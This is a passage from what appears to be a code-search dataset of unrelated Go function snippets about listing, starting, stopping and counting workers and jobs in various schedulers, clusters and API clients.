(map[int64]Worker, error) {\n\tvar w Worker\n\tvar workers map[int64]Worker = map[int64]Worker{}\n\tvar err error\n\tif rows, err := d.Query(`SELECT id, userid, cityid, interval, running FROM workers`); err == nil {\n\t\tdefer rows.Close()\n\t\tfor rows.Next() {\n\t\t\tif err = rows.Scan(&w.ID, &w.UserID, &w.CityID, &w.Interval, &w.Running); err == nil {\n\t\t\t\tif w.User, err = d.GetUserByID(w.UserID); err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tif w.City, err = d.GetCityByID(w.CityID); err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tw.Stop = make(chan struct{})\n\t\t\t\tworkers[w.ID] = w\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\treturn workers, err\n}", "func (p *MasterWorker) LoadWorkers() (map[string]*Worker, error) {\n\terr := p.loadworks()\n\treturn p.workers, err\n}", "func (s *WorkerPoolService) GetAll() ([]*WorkerPoolListResult, error) {\n\titems := []*WorkerPoolListResult{}\n\tpath, err := services.GetAllPath(s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = api.ApiGet(s.GetClient(), &items, path)\n\treturn items, err\n}", "func (p *localWorkerPool) GetAll() []api.LocalWorkerInfo {\n\tp.mutex.RLock()\n\tdefer p.mutex.RUnlock()\n\n\tresult := make([]api.LocalWorkerInfo, 0, len(p.workers))\n\tfor _, entry := range p.workers {\n\t\tif actual := entry.GetActual(); actual != nil {\n\t\t\tresult = append(result, *actual)\n\t\t}\n\t}\n\tsort.Slice(result, func(i, j int) bool {\n\t\treturn result[i].Id < result[j].Id\n\t})\n\treturn result\n}", "func (dt *Tracker) ListJobs() ([]string, error) {\n\treturn dt.processTracker.ListJobs()\n}", "func GetRunningBackgroundWorkers() []string {\n\treturn defaultDaemon.GetRunningBackgroundWorkers()\n}", "func findWorkers(count int) []dist.Address {\n\tdirLock.RLock()\n\tdefer dirLock.RUnlock()\n\n\t// reset count if they've asked for too much\n\tmax := len(directory)\n\tif count > max {\n\t\tcount = max\n\t}\n\n\tout := make([]dist.Address, 0)\n\tfor _,v := range directory {\n\t\tout = append(out, *v)\n\t}\n\n\treturn out\n}", "func (mr *MapReduce) KillWorkers() []int {\n\tl := make([]int, 0)\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false || reply.OK == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl = append(l, reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (api *API) ListWorkersSecrets(ctx context.Context, rc *ResourceContainer, params ListWorkersSecretsParams) (WorkersListSecretsResponse, error) {\n\tif rc.Level != AccountRouteLevel {\n\t\treturn WorkersListSecretsResponse{}, ErrRequiredAccountLevelResourceContainer\n\t}\n\n\tif rc.Identifier == \"\" {\n\t\treturn WorkersListSecretsResponse{}, ErrMissingAccountID\n\t}\n\n\turi := fmt.Sprintf(\"/accounts/%s/workers/scripts/%s/secrets\", rc.Identifier, params.ScriptName)\n\tres, err := api.makeRequestContext(ctx, http.MethodGet, uri, nil)\n\tif err != nil {\n\t\treturn WorkersListSecretsResponse{}, err\n\t}\n\n\tresult := WorkersListSecretsResponse{}\n\tif err := json.Unmarshal(res, &result); err != nil {\n\t\treturn result, fmt.Errorf(\"%s: %w\", errUnmarshalError, err)\n\t}\n\n\treturn result, err\n}", "func (t *DRMAATracker) ListJobs() ([]string, error) {\n\t// need to get the job list from the internal DB\n\tt.Lock()\n\tdefer t.Unlock()\n\treturn t.store.GetJobIDs(), nil\n}", "func HandleList(workers core.WorkerRegistry) http.HandlerFunc {\n\ttype resp struct {\n\t\tID string `json:\"id\"`\n\t\tAddr string `json:\"addr\"`\n\t\tHost core.HostInfo `json:\"host\"`\n\t\tUsage []core.WorkerUsage `json:\"usage\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tworkers, err := workers.List()\n\t\tif err != nil {\n\t\t\trender.InternalServerError(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tvar response []resp\n\t\tfor _, worker := range workers {\n\t\t\tresponse = append(response, resp{worker.ID, worker.Addr, worker.Host, worker.Usage})\n\t\t}\n\n\t\trender.JSON(w, http.StatusOK, response)\n\t}\n}", "func (protocol *ServiceWorkerProtocol) StopAllWorkers() <-chan *worker.StopAllWorkersResult {\n\tresultChan := make(chan *worker.StopAllWorkersResult)\n\tcommand := NewCommand(protocol.Socket, \"ServiceWorker.stopAllWorkers\", nil)\n\tresult := &worker.StopAllWorkersResult{}\n\n\tgo func() {\n\t\tresponse := <-protocol.Socket.SendCommand(command)\n\t\tif nil != response.Error && 0 != response.Error.Code {\n\t\t\tresult.Err = response.Error\n\t\t}\n\t\tresultChan <- result\n\t\tclose(resultChan)\n\t}()\n\n\treturn resultChan\n}", "func (pCmd *Ps) queryWorkers(machines []db.Machine) []db.Container {\n\tvar workerMachines []db.Machine\n\tfor _, m := range machines {\n\t\tif m.PublicIP != \"\" && m.Role == db.Worker {\n\t\t\tworkerMachines = append(workerMachines, m)\n\t\t}\n\t}\n\n\tvar workerContainers []db.Container\n\tnumMachines := len(workerMachines)\n\tworkerChannel := make(chan []db.Container, numMachines)\n\tfor _, m := range workerMachines {\n\t\tclient, err := pCmd.clientGetter.Client(api.RemoteAddress(m.PublicIP))\n\t\tif err != nil {\n\t\t\tnumMachines = numMachines - 1\n\t\t\tcontinue\n\t\t}\n\t\tdefer client.Close()\n\n\t\tgo func() {\n\t\t\tqContainers, err := client.QueryContainers()\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).\n\t\t\t\t\tWarn(\"QueryContainers on worker failed.\")\n\t\t\t}\n\t\t\tworkerChannel <- qContainers\n\t\t}()\n\t}\n\n\tfor j := 0; j < numMachines; j++ {\n\t\twc := <-workerChannel\n\t\tif wc == nil {\n\t\t\tcontinue\n\t\t}\n\t\tworkerContainers = append(workerContainers, wc...)\n\t}\n\treturn workerContainers\n}", "func (d *Dispatcher) StopAllWorkers() {\n\tfor _ = range d.workers {\n\t\td.queue <- nil\n\t}\n}", "func (c *ComputerClient) List() (computers ComputerList, err error) {\n\terr = c.RequestWithData(\"GET\", \"/computer/api/json\",\n\t\tnil, nil, 200, &computers)\n\treturn\n}", "func (w *WorkerStore) StartWorkers() {\n\tdefer close(w.done_chan)\n\tdefer close(w.max_working)\n\tgo w.waitTtl()\n\tfor {\n\t\tif len(w.scheduled) > 0 {\n\t\t\tw.max_working <- true\n\t\t\tw.mx.Lock()\n\t\t\tfor i := range w.scheduled {\n\t\t\t\tw.scheduled[i].NumInQueue = uint(i)\n\t\t\t}\n\t\t\tw.workingdone[w.next_id] = &w.scheduled[0]\n\t\t\tgo w.executeWorker(w.next_id)\n\t\t\tw.next_id++\n\t\t\tw.scheduled = w.scheduled[1:]\n\t\t\tw.mx.Unlock()\n\t\t}\n\t}\n}", "func List() ([]string, error) {\n\tpoolNameChan, errChan := list()\n\tselect {\n\tcase poolName := <-poolNameChan:\n\t\treturn poolName, nil\n\tcase err := <-errChan:\n\t\treturn nil, err\n\t}\n}", "func (w Processor) NumWorkers() int64 {\n\treturn int64(len(w.limiter))\n}", "func (m *CPUMiner) NumWorkers() int32 {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\treturn int32(m.numWorkers)\n}", "func ListJobs(cmd CmdInterface) {\n\tqueue, err := store.FindQueueBySlug(cmd.Parts[1], cmd.User.CurrentGroup, false)\n\tif err != nil {\n\t\tReturnError(cmd, err.Error())\n\t\treturn\n\t}\n\n\trawJSON, _ := json.Marshal(queue.Jobs)\n\tReturnString(cmd, string(rawJSON))\n}", "func (s *service) WatchLocalWorkers(req *api.WatchOptions, server api.NetworkControlService_WatchLocalWorkersServer) error {\n\tlwMetrics.WatchTotalCounter.Inc()\n\tctx := server.Context()\n\tach, acancel := s.Manager.SubscribeLocalWorkerActuals(req.GetWatchActualChanges(), chanTimeout, manager.ModuleFilter(req.GetModuleId()))\n\tdefer acancel()\n\trch, rcancel := s.Manager.SubscribeLocalWorkerRequests(req.GetWatchRequestChanges(), chanTimeout, manager.ModuleFilter(req.GetModuleId()))\n\tdefer rcancel()\n\tfor {\n\t\tselect {\n\t\tcase msg := <-ach:\n\t\t\tif err := server.Send(&msg); err != nil {\n\t\t\t\ts.Log.Warn().Err(err).Msg(\"Send local worker actual failed\")\n\t\t\t\tlwMetrics.WatchActualMessagesFailedTotalCounters.WithLabelValues(msg.GetId()).Inc()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlwMetrics.WatchActualMessagesTotalCounters.WithLabelValues(msg.GetId()).Inc()\n\t\tcase msg := <-rch:\n\t\t\tif err := server.Send(&msg); err != nil {\n\t\t\t\ts.Log.Warn().Err(err).Msg(\"Send local worker request failed\")\n\t\t\t\tlwMetrics.WatchRequestMessagesFailedTotalCounters.WithLabelValues(msg.GetId()).Inc()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlwMetrics.WatchRequestMessagesTotalCounters.WithLabelValues(msg.GetId()).Inc()\n\t\tcase <-ctx.Done():\n\t\t\t// Context canceled\n\t\t\treturn nil\n\t\t}\n\t}\n}", "func (s *Server) StopWorkers() {\n\tfor _, v := range s.shardWorkers {\n\t\tclose(v.StopChan)\n\t}\n\n\ts.shardWorkers = nil\n}", "func (c *Controller) WorkerCount() int {\n\treturn c.PgclusterWorkerCount\n}", "func (c *Cache) ListWorkloads(ctx context.Context, pcacheOnly bool) map[string]*defs.VCHubWorkload {\n\titems := map[string]*defs.VCHubWorkload{}\n\tfor key, entry := range c.pCache.List(workloadKind) {\n\t\titems[key] = entry.(*defs.VCHubWorkload)\n\t}\n\n\tctkitWorkloads, err := c.stateMgr.Controller().Workload().List(ctx, &api.ListWatchOptions{})\n\tif err != nil {\n\t\tc.Log.Errorf(\"Failed to get workloads in statemgr\")\n\t\treturn items\n\t}\n\n\tfor _, obj := range ctkitWorkloads {\n\t\tkey := obj.GetKey()\n\t\tif _, ok := items[key]; !ok && !pcacheOnly {\n\t\t\titems[key] = &defs.VCHubWorkload{\n\t\t\t\tWorkload: &obj.Workload,\n\t\t\t\tVMInfo: defs.VMInfo{\n\t\t\t\t\tVnics: map[string]*defs.VnicEntry{},\n\t\t\t\t},\n\t\t\t}\n\t\t} else if ok {\n\t\t\tif entry, ok := mergeWorkload(items[key], obj).(*defs.VCHubWorkload); ok {\n\t\t\t\titems[key] = entry\n\t\t\t}\n\t\t}\n\t}\n\n\treturn items\n}", "func (s *store) ListJobs() ([]string, error) {\n\tnames := make([]string, 0)\n\tjobsClient := s.client.BatchV1().Jobs(s.namespace)\n\tlist, err := jobsClient.List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, job := range list.Items {\n\t\t// TODO: add label\n\t\t// metadata, err := meta.Accessor(job)\n\t\t// if err != nil {\n\t\t// \treturn nil, err\n\t\t// }\n\t\tnames = append(names, job.GetName())\n\t}\n\treturn names, nil\n}", "func (c *scheduledJobs) List(opts api.ListOptions) (result *batch.ScheduledJobList, err error) {\n\tresult = &batch.ScheduledJobList{}\n\terr = c.r.Get().Namespace(c.ns).Resource(\"scheduledjobs\").VersionedParams(&opts, api.ParameterCodec).Do().Into(result)\n\treturn\n}", "func (c *Controller) ListJobs(filter weles.JobFilter, sorter weles.JobSorter,\n\tpaginator weles.JobPagination) ([]weles.JobInfo, weles.ListInfo, error) {\n\treturn c.jobs.List(filter, sorter, paginator)\n}", "func (d *OrderedDaemon) GetRunningBackgroundWorkers() []string {\n\td.lock.RLock()\n\tdefer d.lock.RUnlock()\n\n\tresult := make([]string, 0)\n\tfor _, name := range d.shutdownOrderWorker {\n\t\tif !d.workers[name].running.IsSet() {\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, name)\n\t}\n\n\tfor i, j := 0, len(result)-1; i < j; i, j = i+1, j-1 {\n\t\tresult[i], result[j] = result[j], result[i]\n\t}\n\n\treturn result\n}", "func (c *SchedulerController) RunningWorkers() int {\n\treturn c.numberOfRunningWorkers\n}", "func AllWorkersUpgraded(c client.Client, cfg *osdUpgradeConfig, scaler scaler.Scaler, dsb drain.NodeDrainStrategyBuilder, metricsClient metrics.Metrics, m maintenance.Maintenance, cvClient cv.ClusterVersion, nc eventmanager.EventManager, upgradeConfig *upgradev1alpha1.UpgradeConfig, machinery machinery.Machinery, availabilityCheckers ac.AvailabilityCheckers, logger logr.Logger) (bool, error) {\n\tupgradingResult, errUpgrade := machinery.IsUpgrading(c, \"worker\")\n\tif errUpgrade != nil {\n\t\treturn false, errUpgrade\n\t}\n\n\tsilenceActive, errSilence := m.IsActive()\n\tif errSilence != nil {\n\t\treturn false, errSilence\n\t}\n\n\tif upgradingResult.IsUpgrading {\n\t\tlogger.Info(fmt.Sprintf(\"not all workers are upgraded, upgraded: %v, total: %v\", upgradingResult.UpdatedCount, upgradingResult.MachineCount))\n\t\tif !silenceActive {\n\t\t\tlogger.Info(\"Worker upgrade timeout.\")\n\t\t\tmetricsClient.UpdateMetricUpgradeWorkerTimeout(upgradeConfig.Name, upgradeConfig.Spec.Desired.Version)\n\t\t} else {\n\t\t\tmetricsClient.ResetMetricUpgradeWorkerTimeout(upgradeConfig.Name, upgradeConfig.Spec.Desired.Version)\n\t\t}\n\t\treturn false, nil\n\t}\n\n\tmetricsClient.ResetMetricUpgradeWorkerTimeout(upgradeConfig.Name, upgradeConfig.Spec.Desired.Version)\n\treturn true, nil\n}", "func (o *Orchestrator) UpdateWorkers(workers []Worker) {\n\to.mu.Lock()\n\tdefer o.mu.Unlock()\n\n\to.workers = workers\n}", "func (cr *Celery) GenerateWorkers() []*CeleryWorker {\n\tlabels := map[string]string{\n\t\t\"celery-app\": cr.Name,\n\t\t\"type\": \"worker\",\n\t}\n\tdefaultImage := cr.Spec.Image\n\tbrokerAddr := cr.Status.BrokerAddress\n\tworkers := make([]*CeleryWorker, 0)\n\tfor i, workerSpec := range cr.Spec.Workers {\n\t\tif workerSpec.Image == \"\" {\n\t\t\tworkerSpec.Image = defaultImage\n\t\t}\n\t\tworkerSpec.BrokerAddress = brokerAddr\n\t\tworker := &CeleryWorker{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: fmt.Sprintf(\"%s-worker-%d\", cr.GetName(), i+1),\n\t\t\t\tNamespace: cr.GetNamespace(),\n\t\t\t\tLabels: labels,\n\t\t\t},\n\t\t\tSpec: workerSpec,\n\t\t}\n\t\tworkers = append(workers, worker)\n\t}\n\treturn workers\n}", "func (p *PortForward) List(ctx context.Context, _ string) ([]runtime.Object, error) {\n\tconfig, ok := ctx.Value(internal.KeyBenchCfg).(*config.Bench)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"no benchconfig found in context\")\n\t}\n\n\tcc := config.Benchmarks.Containers\n\too := make([]runtime.Object, 0, len(p.Factory.Forwarders()))\n\tfor _, f := range p.Factory.Forwarders() {\n\t\tcfg := render.BenchCfg{\n\t\t\tC: config.Benchmarks.Defaults.C,\n\t\t\tN: config.Benchmarks.Defaults.N,\n\t\t}\n\t\tif config, ok := cc[containerID(f.Path(), f.Container())]; ok {\n\t\t\tcfg.C, cfg.N = config.C, config.N\n\t\t\tcfg.Host, cfg.Path = config.HTTP.Host, config.HTTP.Path\n\t\t}\n\t\too = append(oo, render.ForwardRes{\n\t\t\tForwarder: f,\n\t\t\tConfig: cfg,\n\t\t})\n\t}\n\n\treturn oo, nil\n}", "func (m *apiServer) loadWorkers() {\n\n\tdefer m.workerLoadTicker.Stop()\n\n\t// TODO: use querywatch instead\n\t// m.c.QueryWatch(ctx, filter)\n\n\tfor {\n\t\tselect {\n\t\tcase <-m.ctx.Done():\n\t\t\treturn\n\t\tcase _, ok := <-m.workerLoadTicker.C:\n\t\t\tif !ok {\n\t\t\t\tfmt.Println(\"Got exit in ticket\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Ask for current peers.\n\t\t\tctx, cancel := context.WithTimeout(m.ctx, timeout)\n\t\t\tpeers, err := m.c.Query(ctx, grid.Peers)\n\t\t\tcancel()\n\t\t\tsuccessOrDie(err)\n\t\t\texisting := make(map[string]bool)\n\t\t\tm.mu.Lock()\n\t\t\tfor _, peer := range peers {\n\t\t\t\texisting[peer.Name()] = true\n\t\t\t}\n\t\t\tm.peers = existing\n\t\t\tm.workerCt = len(existing)\n\t\t\tfmt.Println(\"found peers \", m.peers)\n\t\t\tm.mu.Unlock()\n\t\t}\n\t}\n}", "func (s *Scheduler) GetFreeWorkers() int32 {\n\treturn atomic.LoadInt32(s.freeWorkers)\n}", "func (c *Cluster) AllWorkloads(ctx context.Context, restrictToNamespace string) (res []cluster.Workload, err error) {\n\tallowedNamespaces, err := c.getAllowedAndExistingNamespaces(ctx)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getting namespaces\")\n\t}\n\t// Those are the allowed namespaces (possibly just [<all of them>];\n\t// now intersect with the restriction requested, if any.\n\tnamespaces := allowedNamespaces\n\tif restrictToNamespace != \"\" {\n\t\tnamespaces = nil\n\t\tfor _, ns := range allowedNamespaces {\n\t\t\tif ns == meta_v1.NamespaceAll || ns == restrictToNamespace {\n\t\t\t\tnamespaces = []string{restrictToNamespace}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tvar allworkloads []cluster.Workload\n\tfor _, ns := range namespaces {\n\t\tfor kind, resourceKind := range resourceKinds {\n\t\t\tworkloads, err := resourceKind.getWorkloads(ctx, c, ns)\n\t\t\tif err != nil {\n\t\t\t\tswitch {\n\t\t\t\tcase apierrors.IsNotFound(err):\n\t\t\t\t\t// Kind not supported by API server, skip\n\t\t\t\t\tcontinue\n\t\t\t\tcase apierrors.IsForbidden(err):\n\t\t\t\t\t// K8s can return forbidden instead of not found for non super admins\n\t\t\t\t\tc.logger.Log(\"warning\", \"not allowed to list resources\", \"err\", err)\n\t\t\t\t\tcontinue\n\t\t\t\tdefault:\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, workload := range workloads {\n\t\t\t\tif !isAddon(workload) {\n\t\t\t\t\tid := resource.MakeID(workload.GetNamespace(), kind, workload.GetName())\n\t\t\t\t\tc.muSyncErrors.RLock()\n\t\t\t\t\tworkload.syncError = c.syncErrors[id]\n\t\t\t\t\tc.muSyncErrors.RUnlock()\n\t\t\t\t\tallworkloads = append(allworkloads, workload.toClusterWorkload(id))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn allworkloads, nil\n}", "func ListJobs(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar status model.SearchStatus\n\terr = flags.ParseFlag(cmd.Flags(), \"status\", &status)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"status\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListJobsQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Status = status\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.SearchService.ListJobs(&generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "func (s *Server) stopWorkers() {\n\tfor k, w := range s.workers {\n\t\tw.stop()\n\n\t\t// fix nil exception\n\t\tdelete(s.workers, k)\n\t}\n}", "func (wp *WorkerPool[T]) GetSpawnedWorkers() int {\n\treturn int(atomic.LoadUint64(&wp.spawnedWorkers))\n}", "func Worker(mapf func(string, string) []KeyValue,\n\treducef func(string, []string) string) {\n\n\t// Your worker implementation here.\n\n\t// uncomment to send the Example RPC to the master.\n\t// CallExample()\n\tfor {\n\t\targs := RPCArgs{}\n\t\treply := RPCReply{}\n\t\tcall(\"Master.GetTask\", &args, &reply)\n\t\tswitch reply.TaskInfo.TaskType {\n\t\tcase Map:\n\t\t\tdoMap(&reply.TaskInfo, mapf)\n\t\tcase Reduce:\n\t\t\tdoReduce(&reply.TaskInfo, reducef)\n\t\tcase Wait:\n\t\t\tfmt.Println(\"Waiting task\")\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\tcase Done:\n\t\t\tfmt.Println(\"All task done\")\n\t\t\treturn\n\t\t}\n\t\targs.TaskInfo = reply.TaskInfo\n\t\tcall(\"Master.TaskDone\", &args, &reply)\n\t}\n}", "func (c *gcControllerState) enlistWorker() {\n\t// If there are idle Ps, wake one so it will run an idle worker.\n\t// NOTE: This is suspected of causing deadlocks. See golang.org/issue/19112.\n\t//\n\t//\tif atomic.Load(&sched.npidle) != 0 && atomic.Load(&sched.nmspinning) == 0 {\n\t//\t\twakep()\n\t//\t\treturn\n\t//\t}\n\n\t// There are no idle Ps. If we need more dedicated workers,\n\t// try to preempt a running P so it will switch to a worker.\n\tif c.dedicatedMarkWorkersNeeded <= 0 {\n\t\treturn\n\t}\n\t// Pick a random other P to preempt.\n\tif gomaxprocs <= 1 {\n\t\treturn\n\t}\n\tgp := getg()\n\tif gp == nil || gp.m == nil || gp.m.p == 0 {\n\t\treturn\n\t}\n\tmyID := gp.m.p.ptr().id\n\tfor tries := 0; tries < 5; tries++ {\n\t\tid := int32(fastrandn(uint32(gomaxprocs - 1)))\n\t\tif id >= myID {\n\t\t\tid++\n\t\t}\n\t\tp := allp[id]\n\t\tif p.status != _Prunning {\n\t\t\tcontinue\n\t\t}\n\t\tif preemptone(p) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (this *Healthcheck) UpdateWorkers(targets []core.Target) {\n\n\tresult := []*Worker{}\n\n\t// Keep or add needed workers\n\tfor _, t := range targets {\n\t\tvar keep *Worker\n\t\tfor i := range this.workers {\n\t\t\tc := this.workers[i]\n\t\t\tif t.EqualTo(c.target) {\n\t\t\t\tkeep = c\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif keep == nil {\n\t\t\tkeep = &Worker{\n\t\t\t\ttarget: t,\n\t\t\t\tstop: make(chan bool),\n\t\t\t\tout: this.Out,\n\t\t\t\tcfg: this.cfg,\n\t\t\t\tcheck: this.check,\n\t\t\t\tLastResult: CheckResult{\n\t\t\t\t\tLive: true,\n\t\t\t\t},\n\t\t\t}\n\t\t\tkeep.Start()\n\t\t}\n\t\tresult = append(result, keep)\n\t}\n\n\t// Stop needed workers\n\tfor i := range this.workers {\n\t\tc := this.workers[i]\n\t\tremove := true\n\t\tfor _, t := range targets {\n\t\t\tif c.target.EqualTo(t) {\n\t\t\t\tremove = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif remove {\n\t\t\tc.Stop()\n\t\t}\n\t}\n\n\tthis.workers = result\n\n}", "func (wp *Pool) NumWorkers() int {\n\twp.workersLock.RLock()\n\tdefer wp.workersLock.RUnlock()\n\treturn len(wp.workers)\n}", "func (client BastionClient) listWorkRequests(ctx context.Context, request common.OCIRequest) (common.OCIResponse, error) {\n\thttpRequest, err := request.HTTPRequest(http.MethodGet, \"/workRequests\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ListWorkRequestsResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func (client BastionClient) ListWorkRequests(ctx context.Context, request ListWorkRequestsRequest) (response ListWorkRequestsResponse, err error) {\n\tvar ociResponse common.OCIResponse\n\tpolicy := common.NoRetryPolicy()\n\tif client.RetryPolicy() != nil {\n\t\tpolicy = *client.RetryPolicy()\n\t}\n\tif request.RetryPolicy() != nil {\n\t\tpolicy = *request.RetryPolicy()\n\t}\n\tociResponse, err = common.Retry(ctx, request, client.listWorkRequests, policy)\n\tif err != nil {\n\t\tif ociResponse != nil {\n\t\t\tif httpResponse := ociResponse.HTTPResponse(); httpResponse != nil {\n\t\t\t\topcRequestId := httpResponse.Header.Get(\"opc-request-id\")\n\t\t\t\tresponse = ListWorkRequestsResponse{RawResponse: httpResponse, OpcRequestId: &opcRequestId}\n\t\t\t} else {\n\t\t\t\tresponse = ListWorkRequestsResponse{}\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\tif convertedResponse, ok := ociResponse.(ListWorkRequestsResponse); ok {\n\t\tresponse = convertedResponse\n\t} else {\n\t\terr = fmt.Errorf(\"failed to convert OCIResponse into ListWorkRequestsResponse\")\n\t}\n\treturn\n}", "func (p *Pool) GetRunningWorkers() uint64 {\n\treturn atomic.LoadUint64(&p.runningWorkers)\n}", "func (c Config) Workers() (int, int) {\n\treturn c.readWorkers, c.writeWorkers\n}", "func (c *Client) List(prefix string, opts ...backend.ListOption) (*backend.ListResult, error) {\n\toptions := backend.DefaultListOptions()\n\tfor _, opt := range opts {\n\t\topt(options)\n\t}\n\n\tif options.Paginated {\n\t\treturn nil, errors.New(\"pagination not supported\")\n\t}\n\n\troot := path.Join(c.pather.BasePath(), prefix)\n\n\tlistJobs := make(chan string)\n\tresults := make(chan listResult)\n\tdone := make(chan struct{})\n\n\tvar wg sync.WaitGroup\n\n\tfor i := 0; i < c.config.ListConcurrency; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tc.lister(done, listJobs, results)\n\t\t\twg.Done()\n\t\t}()\n\t}\n\n\tdefer func() {\n\t\tclose(done)\n\t\tif c.config.testing {\n\t\t\t// Waiting might be delayed if an early error is encountered but\n\t\t\t// other goroutines are waiting on a long http timeout. Thus, we\n\t\t\t// only wait for each spawned goroutine to exit during testing to\n\t\t\t// assert that no goroutines leak.\n\t\t\twg.Wait()\n\t\t}\n\t}()\n\n\tvar files []string\n\n\t// Pending tracks the number of directories which are pending exploration.\n\t// Invariant: there will be a result received for every increment made to\n\t// pending.\n\tpending := 1\n\tlistJobs <- root\n\n\tfor pending > 0 {\n\t\tres := <-results\n\t\tpending--\n\t\tif res.err != nil {\n\t\t\tif httputil.IsNotFound(res.err) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, res.err\n\t\t}\n\t\tvar dirs []string\n\t\tfor _, fs := range res.list {\n\t\t\tp := path.Join(res.dir, fs.PathSuffix)\n\n\t\t\t// TODO(codyg): This is an ugly hack to avoid walking through non-tags\n\t\t\t// during Docker catalog. Ideally, only tags are located in the repositories\n\t\t\t// directory, however in WBU2 HDFS, there are blobs here as well. At some\n\t\t\t// point, we must migrate the data into a structure which cleanly divides\n\t\t\t// blobs and tags (like we do in S3).\n\t\t\tif _ignoreRegex.MatchString(p) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// TODO(codyg): Another ugly hack to speed up catalog performance by stopping\n\t\t\t// early when we hit tags...\n\t\t\tif _stopRegex.MatchString(p) {\n\t\t\t\tp = path.Join(p, \"tags/dummy/current/link\")\n\t\t\t\tfs.Type = \"FILE\"\n\t\t\t}\n\n\t\t\tif fs.Type == \"DIRECTORY\" {\n\t\t\t\t// Flat directory structures are common, so accumulate directories and send\n\t\t\t\t// them to the listers in a single goroutine (as opposed to a goroutine per\n\t\t\t\t// directory).\n\t\t\t\tdirs = append(dirs, p)\n\t\t\t} else {\n\t\t\t\tname, err := c.pather.NameFromBlobPath(p)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.With(\"path\", p).Errorf(\"Error converting blob path into name: %s\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfiles = append(files, name)\n\t\t\t}\n\t\t}\n\t\tif len(dirs) > 0 {\n\t\t\t// We cannot send list jobs and receive results in the same thread, else\n\t\t\t// deadlock will occur.\n\t\t\twg.Add(1)\n\t\t\tgo func() {\n\t\t\t\tc.sendAll(done, dirs, listJobs)\n\t\t\t\twg.Done()\n\t\t\t}()\n\t\t\tpending += len(dirs)\n\t\t}\n\t}\n\n\treturn &backend.ListResult{\n\t\tNames: files,\n\t}, nil\n}", "func (s *clusterServer) NumberOfWorkers() int {\n\ts.numWorkersLock.Lock()\n\tdefer s.numWorkersLock.Unlock()\n\treturn s.numWorkers\n}", "func (r ListWorkersWithQualificationTypeRequest) Send(ctx context.Context) (*ListWorkersWithQualificationTypeResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &ListWorkersWithQualificationTypeResponse{\n\t\tListWorkersWithQualificationTypeOutput: r.Request.Data.(*ListWorkersWithQualificationTypeOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "func ExampleWorkers_basic() {\n\n\tworkerFn := func(ctx context.Context, inpRec interface{}, sender SenderFn, store WorkerStore) error {\n\t\tv, ok := inpRec.(string)\n\t\tif !ok {\n\t\t\treturn errors.New(\"incorrect input type\")\n\t\t}\n\t\t// do something with v\n\t\tres := strings.ToUpper(v)\n\n\t\t// send 